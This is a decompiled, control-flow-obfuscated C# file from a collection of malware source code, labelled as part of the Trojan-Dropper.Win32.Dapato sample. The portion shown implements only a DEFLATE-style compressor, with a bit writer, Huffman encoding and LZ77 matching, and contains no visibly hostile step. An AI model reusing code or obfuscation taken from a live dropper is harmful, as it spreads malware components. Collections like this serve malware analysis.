MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46/k.cs
2022-08-18 06:28:56 -05:00

1566 lines
33 KiB
C#

// Decompiled with JetBrains decompiler
// Type: k
// Assembly: Fugi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BEDD3B0B-7024-4DCA-82E7-4DC806657EA8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46.exe
using System;
using System.Collections;
using System.IO;
internal sealed class k
{
public sealed class a : Stream, IDisposable
{
private const int a = 8192;
private Stream b;
private bool c;
private bool d;
private k.b e;
private byte[] f;
private int g;
public a(Stream a)
: this(a, false)
{
}
public a(Stream a1, bool a2)
{
this.b = (a1 == null ? 0 : 1) != 0 ? a1 : throw new ArgumentNullException();
label_4:
int num = 1;
while (true)
{
switch (num)
{
case 0:
this.e = new k.b(a1);
num = 4;
continue;
case 1:
this.c = a2;
num = 2;
continue;
case 2:
this.d = true;
num = 3;
continue;
case 3:
this.f = new byte[8192];
num = 0;
continue;
case 4:
goto label_9;
default:
goto label_4;
}
}
label_9:;
}
public Stream a => this.b;
public override bool CanSeek => false;
public override bool CanRead => false;
public override bool CanWrite => true;
public override long Length => throw new NotImplementedException();
public override long Position
{
get => throw new NotImplementedException();
set => throw new NotImplementedException();
}
public override long Seek(long offset, SeekOrigin origin) => throw new NotImplementedException();
public override void SetLength(long value) => throw new NotImplementedException();
private void a()
{
if (!this.d)
throw new InvalidOperationException("Stream is closed.");
}
public override int Read(byte[] buffer, int offset, int count) => throw new NotSupportedException();
public override void Write(byte[] buffer, int offset, int count)
{
if ((count >= 0 ? 0 : 1) != 0 || count > buffer.Length)
throw new ArgumentOutOfRangeException(nameof (count));
if (offset < 0 || offset > buffer.Length)
throw new ArgumentOutOfRangeException(nameof (offset));
if (offset + count > buffer.Length)
throw new ArgumentException("offset + count out of buffer");
this.a();
if (this.g + count > 8192)
this.b();
if (count >= 8192)
{
int num;
for (num = 0; count - num > 32768; num += 32768)
this.e.a(buffer, offset + num, 32768, false);
this.e.a(buffer, offset + num, count - num, false);
}
else
{
Array.Copy((Array) buffer, offset, (Array) this.f, this.g, count);
label_15:
int num = 1;
while (true)
{
switch (num)
{
case 0:
if (this.g == 8192)
{
num = 2;
continue;
}
goto label_19;
case 1:
this.g += count;
num = 0;
continue;
case 2:
goto label_20;
default:
goto label_15;
}
}
label_19:
return;
label_20:
this.b();
}
}
private void b()
{
if (this.g <= 0)
return;
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.e.a(this.f, 0, this.g, false);
num = 1;
continue;
case 1:
goto label_5;
default:
goto label_2;
}
}
label_5:
this.g = 0;
}
public override void Flush()
{
this.a();
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
if (this.g > 0)
{
num = 1;
continue;
}
goto label_6;
case 1:
goto label_5;
default:
goto label_2;
}
}
label_5:
this.b();
label_6:
this.e.a(true, false);
this.a.Flush();
}
private void c()
{
if (this.g > 0)
{
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.e.a(this.f, 0, this.g, true);
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
else
this.e.a(false, true);
}
void IDisposable.Dispose()
{
if ((!this.d ? 1 : 0) == 0)
{
this.c();
label_3:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.f = (byte[]) null;
num = 2;
continue;
case 1:
if (!this.c)
{
num = 3;
continue;
}
goto label_10;
case 2:
this.e = (k.b) null;
num = 1;
continue;
case 3:
this.b.Close();
num = 4;
continue;
case 4:
goto label_9;
default:
goto label_3;
}
}
label_9:
this.b = (Stream) null;
label_10:
this.d = false;
}
this.Close();
}
}
private sealed class b
{
public const int a = 32768;
private Stream b;
private k.h c;
private k.d d;
public b(Stream a)
{
this.b = (a == null ? 0 : 1) != 0 ? a : throw new ArgumentNullException();
label_5:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.c = new k.h(a);
num = 1;
continue;
case 1:
this.d = new k.d();
num = 2;
continue;
case 2:
goto label_4;
default:
goto label_5;
}
}
label_4:;
}
public Stream a => this.b;
internal void a(k.g a1, out int[] a2, out int[] a3, out int a4)
{
a2 = new int[286];
a3 = new int[30];
a4 = 0;
int index1 = 0;
int index2 = 0;
if ((index2 == 0 ? 1 : 0) != 0)
goto label_10;
label_1:
ushort index3 = (ushort) a1.a[index1];
if (index3 <= (ushort) 256)
{
++a2[(int) index3];
++index1;
}
else
{
++a2[(int) index3];
label_5:
int num = 0;
while (true)
{
switch (num)
{
case 0:
++a3[(int) (ushort) a1.a[index1 + 2]];
num = 2;
continue;
case 1:
a4 += (int) (byte) a1.b[index2] + (int) (byte) a1.b[index2 + 1];
num = 3;
continue;
case 2:
index1 += 4;
num = 1;
continue;
case 3:
goto label_9;
default:
goto label_5;
}
}
label_9:
index2 += 2;
}
label_10:
if (index1 < a1.a.Count)
goto label_1;
}
public void a(bool a1, bool a2)
{
this.c.a(a2);
if ((!a1 ? 1 : 0) == 0)
{
this.c.a(0, 2);
label_3:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.c.a();
num = 2;
continue;
case 1:
this.c.a((int) ushort.MaxValue, 16);
num = 3;
continue;
case 2:
this.c.a(0, 16);
num = 1;
continue;
case 3:
goto label_8;
default:
goto label_3;
}
}
}
else
{
this.c.a(1, 2);
global::g g = global::f.r[256];
this.c.b(g.a, g.b);
}
label_8:
if (!a2)
return;
this.c.a();
}
public void a(byte[] a1, int a2, int a3, bool a4)
{
if (a3 > 32768)
throw new ArgumentOutOfRangeException();
k.g a5 = this.d.a(a1, a2, a3);
if ((a5 == null ? 0 : 1) == 0)
throw new InvalidOperationException();
if (a5.c != a3)
throw new InvalidOperationException();
a5.a();
int[] a6;
int[] a7;
int a8;
this.a(a5, out a6, out a7, out a8);
int[] a9 = global::f.a(a6);
int[] a10 = global::f.a(a7);
int num1 = (4 + a3) * 8;
int num2 = this.c.a >= 3 ? num1 + (this.c.a - 3) : num1 + (5 + this.c.a);
int num3 = global::f.a(a9, a6) + global::f.a(a10, a7) + a8;
int num4 = global::f.b(a9, a10) + a8;
bool flag1 = num4 <= num3 || num2 <= num3;
if (!flag1)
{
int num5 = num3 + this.a(a9, a10);
flag1 = num4 <= num5 || num2 <= num5;
}
bool flag2 = num2 < num4;
this.c.a(a4);
if (flag2 && flag1)
{
this.c.a(0, 2);
label_11:
int num6 = 3;
int a11;
int a12;
while (true)
{
switch (num6)
{
case 0:
this.c.a();
num6 = 6;
continue;
case 1:
this.c.a(a11, 16);
num6 = 2;
continue;
case 2:
this.c.a(a12, 16);
num6 = 0;
continue;
case 3:
this.c.a();
num6 = 5;
continue;
case 4:
a12 = ~a3 & (int) ushort.MaxValue;
num6 = 1;
continue;
case 5:
a11 = a3;
num6 = 4;
continue;
case 6:
this.a(a1, a2, a3);
num6 = 7;
continue;
case 7:
goto label_23;
default:
goto label_11;
}
}
}
else
{
global::g[] a13;
global::g[] a14;
if (flag1)
{
this.c.a(1, 2);
a13 = global::f.r;
a14 = global::f.s;
}
else
{
this.c.a(2, 2);
this.a(a9, a10);
a13 = global::f.a(a9);
a14 = global::f.a(a10);
}
this.a(a5, a13, a14);
}
label_23:
if (!a4)
return;
this.c.a();
}
private void a(k.g a1, global::g[] a2, global::g[] a3)
{
int index1 = 0;
int index2 = 0;
if ((index2 == 0 ? 1 : 0) != 0)
goto label_15;
label_1:
int index3 = (int) (ushort) a1.a[index1];
if (index3 <= 256)
{
global::g g = a2[index3];
this.c.b(g.a, g.b);
++index1;
}
else
{
global::g g = a2[index3];
this.c.b(g.a, g.b);
if ((byte) a1.b[index2] > (byte) 0)
this.c.a((int) (ushort) a1.a[index1 + 1], (int) (byte) a1.b[index2]);
int index4 = index1 + 2;
label_7:
int num = 3;
while (true)
{
switch (num)
{
case 0:
g = a3[(int) (ushort) a1.a[index4]];
num = 2;
continue;
case 1:
if ((byte) a1.b[index2] > (byte) 0)
{
num = 4;
continue;
}
goto label_14;
case 2:
this.c.b(g.a, g.b);
num = 1;
continue;
case 3:
++index2;
num = 0;
continue;
case 4:
goto label_13;
default:
goto label_7;
}
}
label_13:
this.c.a((int) (ushort) a1.a[index4 + 1], (int) (byte) a1.b[index2]);
label_14:
index1 = index4 + 2;
++index2;
}
label_15:
if (index1 < a1.a.Count)
goto label_1;
}
private void a(byte[] a1, int a2, int a3) => this.a.Write(a1, a2, a3);
private void a(int[] a1, int[] a2)
{
int[] a3 = new int[19];
int num1 = 286;
if ((num1 == 0 ? 0 : 1) != 0)
goto label_2;
label_1:
--num1;
label_2:
if (num1 <= 257 || a1[num1 - 1] != 0)
{
int length = 30;
while (length > 1 && a2[length - 1] == 0)
--length;
int[] numArray1 = new int[num1 + length];
Array.Copy((Array) a1, 0, (Array) numArray1, 0, num1);
Array.Copy((Array) a2, 0, (Array) numArray1, num1, length);
int[] numArray2 = global::f.a(numArray1, 0, numArray1.Length);
for (int index = 0; index < numArray2.Length; ++index)
{
++a3[numArray2[index]];
if (numArray2[index] >= 16)
++index;
}
int[] a4 = global::f.a(a3, 7);
int[] u = global::f.u;
int num2 = 19;
while (num2 > 4 && a4[u[num2 - 1]] == 0)
--num2;
int a5 = num1 - 257;
label_16:
int num3 = 2;
int a6;
int a7;
global::g[] gArray;
int index1;
while (true)
{
switch (num3)
{
case 0:
this.c.a(a5, 5);
num3 = 5;
continue;
case 1:
a6 = num2 - 4;
num3 = 4;
continue;
case 2:
a7 = length - 1;
num3 = 1;
continue;
case 3:
this.c.a(a6, 4);
num3 = 6;
continue;
case 4:
gArray = global::f.a(a4);
num3 = 0;
continue;
case 5:
this.c.a(a7, 5);
num3 = 3;
continue;
case 6:
index1 = 0;
num3 = 7;
continue;
case 7:
goto label_26;
default:
goto label_16;
}
}
label_26:
for (; index1 < num2; ++index1)
this.c.a(a4[u[index1]], 3);
for (int index2 = 0; index2 < numArray2.Length; ++index2)
{
int a8 = numArray2[index2];
global::g g = gArray[a8];
this.c.b(g.a, g.b);
if (a8 >= 16)
{
++index2;
this.c.a(numArray2[index2], global::f.a(a8));
}
}
}
else
goto label_1;
}
private int a(int[] a1, int[] a2)
{
int[] a3 = new int[19];
int num1 = 0;
int a4 = 286;
if ((a4 == 0 ? 0 : 1) != 0)
goto label_2;
label_1:
--a4;
label_2:
if (a4 <= 257 || a1[a4 - 1] != 0)
{
int[] numArray1 = global::f.a(a1, 0, a4);
label_12:
for (int index = 0; index < numArray1.Length; ++index)
{
++a3[numArray1[index]];
label_6:
int num2 = 0;
while (true)
{
switch (num2)
{
case 0:
if (numArray1[index] >= 16)
{
num2 = 1;
continue;
}
goto label_12;
case 1:
num1 += global::f.a(numArray1[index]);
num2 = 2;
continue;
case 2:
goto label_10;
default:
goto label_6;
}
}
label_10:
++index;
}
int a5 = 30;
while (a5 > 1 && a2[a5 - 1] == 0)
--a5;
int[] numArray2 = global::f.a(a2, 0, a5);
for (int index = 0; index < numArray2.Length; ++index)
{
++a3[numArray2[index]];
if (numArray2[index] >= 16)
{
num1 += global::f.a(numArray2[index]);
++index;
}
}
int[] a6 = global::f.a(a3);
int num3 = global::f.a(a3, a6);
int[] u = global::f.u;
int num4 = 19;
while (num4 > 4 && a6[u[num4 - 1]] == 0)
--num4;
return 14 + (num4 - 4 + 4) * 3 + num3 + num1;
}
goto label_1;
}
}
private sealed class c
{
public static readonly k.c a;
public int b;
public int c;
public int d;
public int e;
static c()
{
k.c c = new k.c();
label_2:
int num = 2;
while (true)
{
switch (num)
{
case 0:
c.c = 32;
num = 1;
continue;
case 1:
c.d = 128;
num = 3;
continue;
case 2:
c.b = 8;
num = 0;
continue;
case 3:
c.e = 256;
num = 4;
continue;
case 4:
k.c.a = c;
num = 5;
continue;
case 5:
goto label_8;
default:
goto label_2;
}
}
label_8:;
}
}
private sealed class d
{
private const int a = 258;
private const int b = 32768;
private k.f c;
private k.e d;
private k.c e;
private int f;
internal d()
: this(k.c.a)
{
}
internal d(k.c a)
{
this.e = a;
label_2:
int num = 2;
while (true)
{
switch (num)
{
case 0:
this.d = new k.e(32768);
num = 1;
continue;
case 1:
this.f = 0;
num = 3;
continue;
case 2:
this.c = new k.f(65536);
num = 0;
continue;
case 3:
goto label_6;
default:
goto label_2;
}
}
label_6:;
}
internal k.c a => this.e;
public k.g a(byte[] a1, int a2, int a3)
{
if (this.c.b + a3 > this.c.a)
{
int a = this.c.b - 32768;
this.c.a(a);
if ((this.f >= a ? 0 : 1) == 0)
{
this.f -= a;
}
else
{
this.d.a(a - this.f);
this.f = 0;
}
}
int b = this.c.b;
label_6:
int num = 1;
while (true)
{
switch (num)
{
case 0:
if (this.f < b)
{
num = 2;
continue;
}
goto label_11;
case 1:
this.c.a(a1, a2, a3);
num = 0;
continue;
case 2:
goto label_10;
default:
goto label_6;
}
}
label_10:
this.d.a(this.c.a, this.f, b - this.f);
label_11:
return this.a.d > 0 ? this.a(this.d, this.c.a, b, a3, out this.f) : this.b(this.c.a, b, a3);
}
private k.g b(byte[] a1, int a2, int a3)
{
k.g g = new k.g();
label_2:
int num1 = 2;
int index;
while (true)
{
switch (num1)
{
case 0:
index = 0;
num1 = 1;
continue;
case 1:
if (index != 0)
{
num1 = 3;
continue;
}
goto label_8;
case 2:
g.a.Capacity = a3 + 1;
num1 = 0;
continue;
case 3:
goto label_7;
default:
goto label_2;
}
}
label_7:
int num2 = 0;
goto label_9;
label_8:
num2 = 1;
label_9:
if (num2 != 0)
goto label_11;
label_10:
g.a(a1[index]);
++index;
label_11:
if (index >= a3)
return g;
goto label_10;
}
private k.g a(k.e a1, byte[] a2, int a3, int a4, out int a5)
{
k.g g = new k.g();
object obj1 = (object) null;
int a6 = 0;
if ((a6 == 0 ? 1 : 0) != 0)
goto label_18;
label_1:
k.e.a a7 = a1.a(a2, a3 + a6);
if (a7 != null)
{
object obj2;
if (obj1 != null)
{
obj2 = obj1;
obj1 = (object) null;
}
else
obj2 = (object) this.a(a2, a3, a4, a6, a7, 3);
k.d.a a8 = (k.d.a) obj2;
bool flag = a8.b >= 3;
if (flag && a6 < a4 - 3 && a8.b < this.e.c)
{
k.e.a a9 = a1.a(a2, a3 + a6 + 1);
if (a9 != null)
{
k.d.a a10 = this.a(a2, a3, a4, a6 + 1, a9, a8.b + 1);
if (a10.b > a8.b)
{
obj1 = (object) a10;
flag = false;
}
}
}
if (flag)
{
g.a(a6 - a8.a, a8.b);
label_12:
int num = 2;
while (true)
{
switch (num)
{
case 0:
a6 += a8.b;
num = 1;
continue;
case 1:
a1.a(a8.b - 1);
num = 3;
continue;
case 2:
a1.a(a2, a3 + a6);
num = 0;
continue;
case 3:
goto label_18;
default:
goto label_12;
}
}
}
else
{
g.a(a2[a3 + a6]);
a1.a(a2, a3 + a6);
++a6;
}
}
else
{
g.a(a2[a3 + a6]);
a1.a(a2, a3 + a6);
++a6;
}
label_18:
if (a6 >= a4 - 2)
{
a5 = a3 + a6;
for (; a6 < a4; ++a6)
g.a(a2[a3 + a6]);
return g;
}
goto label_1;
}
private k.d.a a(byte[] a1, int a2, int a3, int a4, k.e.a a5, int a6)
{
int e = this.e.e;
label_2:
int num1 = 4;
int num2;
int num3;
int num4;
int num5;
int num6;
while (true)
{
switch (num1)
{
case 0:
num2 = a2 + a4;
num1 = 5;
continue;
case 1:
num3 = -1;
num1 = 3;
continue;
case 2:
num4 = a6 - 1;
num1 = 0;
continue;
case 3:
num5 = 0;
num1 = 2;
continue;
case 4:
num6 = 0;
num1 = 1;
continue;
case 5:
goto label_17;
default:
goto label_2;
}
}
label_17:
while (a5.a())
{
int num7 = 0;
int num8 = a4 - a5.a;
if (a4 + num4 < a3)
{
int num9 = a2 + num8;
if ((int) a1[num9 + num4] == (int) a1[num2 + num4])
{
while (num7 < 258 && a4 + num7 < a3 && (int) a1[num9 + num7] == (int) a1[num2 + num7])
++num7;
if ((num7 >= num6 ? 0 : 1) == 0)
{
num6 = num7;
num4 = num7;
num3 = num8;
if (num6 >= this.e.d)
break;
}
if (num6 >= this.e.b)
e >>= 2;
}
if (++num5 >= e)
break;
}
else
break;
}
return new k.d.a() { b = num6, a = num3 };
}
private struct a
{
public int a;
public int b;
}
}
private sealed class e
{
private const int a = 16777216;
private const int b = 256;
private const ushort c = 65535;
private const ushort d = 0;
private int e;
private ushort[] f;
private int[] g;
private int h;
internal e(int a)
{
this.e = a;
label_2:
int num1 = 0;
int index;
while (true)
{
switch (num1)
{
case 0:
this.f = new ushort[this.e];
num1 = 1;
continue;
case 1:
this.g = new int[256];
num1 = 3;
continue;
case 2:
if (index != 0)
{
num1 = 4;
continue;
}
goto label_9;
case 3:
index = 0;
num1 = 2;
continue;
case 4:
goto label_8;
default:
goto label_2;
}
}
label_8:
int num2 = 0;
goto label_10;
label_9:
num2 = 1;
label_10:
if (num2 != 0)
goto label_12;
label_11:
this.g[index] = (int) ushort.MaxValue;
++index;
label_12:
if (index < 256)
goto label_11;
}
internal k.e.a a(byte[] a1, int a2)
{
int index = k.e.a(a1, a2);
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
if (this.g[index] != (int) ushort.MaxValue)
{
num = 1;
continue;
}
goto label_7;
case 1:
if (this.h - this.g[index] > this.e)
{
num = 2;
continue;
}
goto label_8;
case 2:
goto label_7;
default:
goto label_2;
}
}
label_7:
return (k.e.a) null;
label_8:
return new k.e.a(this, this.h - this.g[index]);
}
internal void a(byte[] a1, int a2)
{
int index1 = k.e.a(a1, a2);
this.f[this.h % this.e] = this.g[index1] == (int) ushort.MaxValue || (this.h - this.g[index1] >= this.e ? 0 : 1) == 0 ? (ushort) 0 : (ushort) (this.h - this.g[index1]);
this.g[index1] = this.h;
label_2:
int num1 = 3;
int num2;
int index2;
int num3;
while (true)
{
switch (num1)
{
case 0:
num2 = this.h - this.e;
num1 = 4;
continue;
case 1:
index2 = 0;
num1 = 5;
continue;
case 2:
if (num3 >= 16777216)
{
num1 = 0;
continue;
}
goto label_14;
case 3:
num3 = ++this.h;
num1 = 2;
continue;
case 4:
num2 -= num2 % this.e;
num1 = 1;
continue;
case 5:
goto label_13;
default:
goto label_2;
}
}
label_14:
return;
label_13:
for (; index2 < this.g.Length; ++index2)
{
if (this.g[index2] >= num2)
this.g[index2] -= num2;
else
this.g[index2] = 0;
}
this.h -= num2;
}
internal void a(byte[] a1, int a2, int a3)
{
int num1 = 0;
if ((num1 == 0 ? 1 : 0) != 0)
goto label_6;
else
goto label_3;
label_2:
int num2;
switch (num2)
{
case 0:
goto label_4;
case 1:
++num1;
goto label_6;
}
label_3:
num2 = 0;
goto label_2;
label_4:
this.a(a1, a2 + num1);
num2 = 1;
goto label_2;
label_6:
if (num1 < a3)
goto label_4;
}
internal void a(int a) => this.h += a;
private static int a(byte[] a1, int a2) => (int) (byte) ((uint) a1[a2] + (uint) a1[a2 + 1] + (uint) a1[a2 + 2]);
internal sealed class a
{
private k.e a;
private int b;
private int c;
internal a(k.e a1, int a2)
{
this.a = a1;
this.b = a2;
}
internal int a => this.b;
internal bool a()
{
if ((this.c == 0 ? 0 : 1) == 0)
{
this.c = 1;
return true;
}
if (this.c == 1)
{
ushort num1 = this.a.f[(this.a.h - this.b) % this.a.e];
label_5:
int num2 = 1;
while (true)
{
switch (num2)
{
case 0:
if (this.b <= this.a.e)
{
num2 = 3;
continue;
}
goto label_12;
case 1:
if (num1 != (ushort) 0)
{
num2 = 2;
continue;
}
goto label_12;
case 2:
this.b += (int) num1;
num2 = 0;
continue;
case 3:
goto label_11;
default:
goto label_5;
}
}
label_11:
return true;
label_12:
this.c = 2;
}
return false;
}
}
}
private sealed class f
{
private int a;
private byte[] b;
private int c;
public f(int a)
{
this.a = a;
this.b = new byte[a];
this.c = 0;
}
public byte[] a => this.b;
public int a => this.a;
public int b => this.c;
public void a(byte[] a1, int a2, int a3)
{
Array.Copy((Array) a1, a2, (Array) this.b, this.c, a3);
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.c += a3;
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
public void a(int a)
{
Array.Copy((Array) this.b, a, (Array) this.b, 0, this.b - a);
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.c -= a;
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
}
private sealed class g
{
internal ArrayList a = new ArrayList();
internal ArrayList b = new ArrayList();
internal int c;
public void a(byte a)
{
this.a.Add((object) (ushort) a);
++this.c;
}
public void a(int a1, int a2)
{
if ((a1 >= 1 ? 0 : 1) != 0 || a1 > 32768)
throw new ArgumentOutOfRangeException();
if (a2 < 3 || a2 > 258)
throw new ArgumentOutOfRangeException();
int a3;
int a4;
int a5;
global::f.a(a2, out a3, out a4, out a5);
label_6:
int num = 6;
int a6;
int a7;
int a8;
while (true)
{
switch (num)
{
case 0:
this.a.Add((object) (ushort) a4);
num = 4;
continue;
case 1:
this.a.Add((object) (ushort) a6);
num = 7;
continue;
case 2:
this.a.Add((object) (ushort) a3);
num = 0;
continue;
case 3:
this.b.Add((object) (byte) a7);
num = 5;
continue;
case 4:
this.b.Add((object) (byte) a5);
num = 1;
continue;
case 5:
this.c += a2;
num = 8;
continue;
case 6:
global::f.b(a1, out a6, out a8, out a7);
num = 2;
continue;
case 7:
this.a.Add((object) (ushort) a8);
num = 3;
continue;
case 8:
goto label_15;
default:
goto label_6;
}
}
label_15:;
}
internal void a() => this.a.Add((object) (ushort) 256);
}
private sealed class h
{
private uint a;
private int b;
private Stream c;
internal h(Stream a) => this.c = a;
internal Stream a => this.c;
internal int a => (32 - this.b) % 8;
internal void a(bool a) => this.a(a ? 1 : 0, 1);
internal void a(int a1, int a2)
{
uint num1 = this.a | checked ((uint) a1) << this.b;
int num2;
for (num2 = this.b + a2; num2 >= 8; num2 -= 8)
{
this.a.WriteByte((byte) num1);
num1 >>= 8;
}
label_5:
int num3 = 0;
while (true)
{
switch (num3)
{
case 0:
this.a = num1;
num3 = 1;
continue;
case 1:
this.b = num2;
num3 = 2;
continue;
case 2:
goto label_3;
default:
goto label_5;
}
}
label_3:;
}
internal void b(int a1, int a2)
{
int a = 0;
label_7:
for (int index = a2 - 1; index >= 0; --index)
{
a <<= 1;
label_3:
int num = 0;
while (true)
{
switch (num)
{
case 0:
a |= a1 & 1;
num = 1;
continue;
case 1:
a1 >>= 1;
num = 2;
continue;
case 2:
goto label_7;
default:
goto label_3;
}
}
}
this.a(a, a2);
}
internal void a()
{
if (this.b <= 0)
return;
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
this.a.WriteByte((byte) this.a);
num = 1;
continue;
case 1:
this.a = 0U;
num = 2;
continue;
case 2:
goto label_6;
default:
goto label_2;
}
}
label_6:
this.b = 0;
}
}
}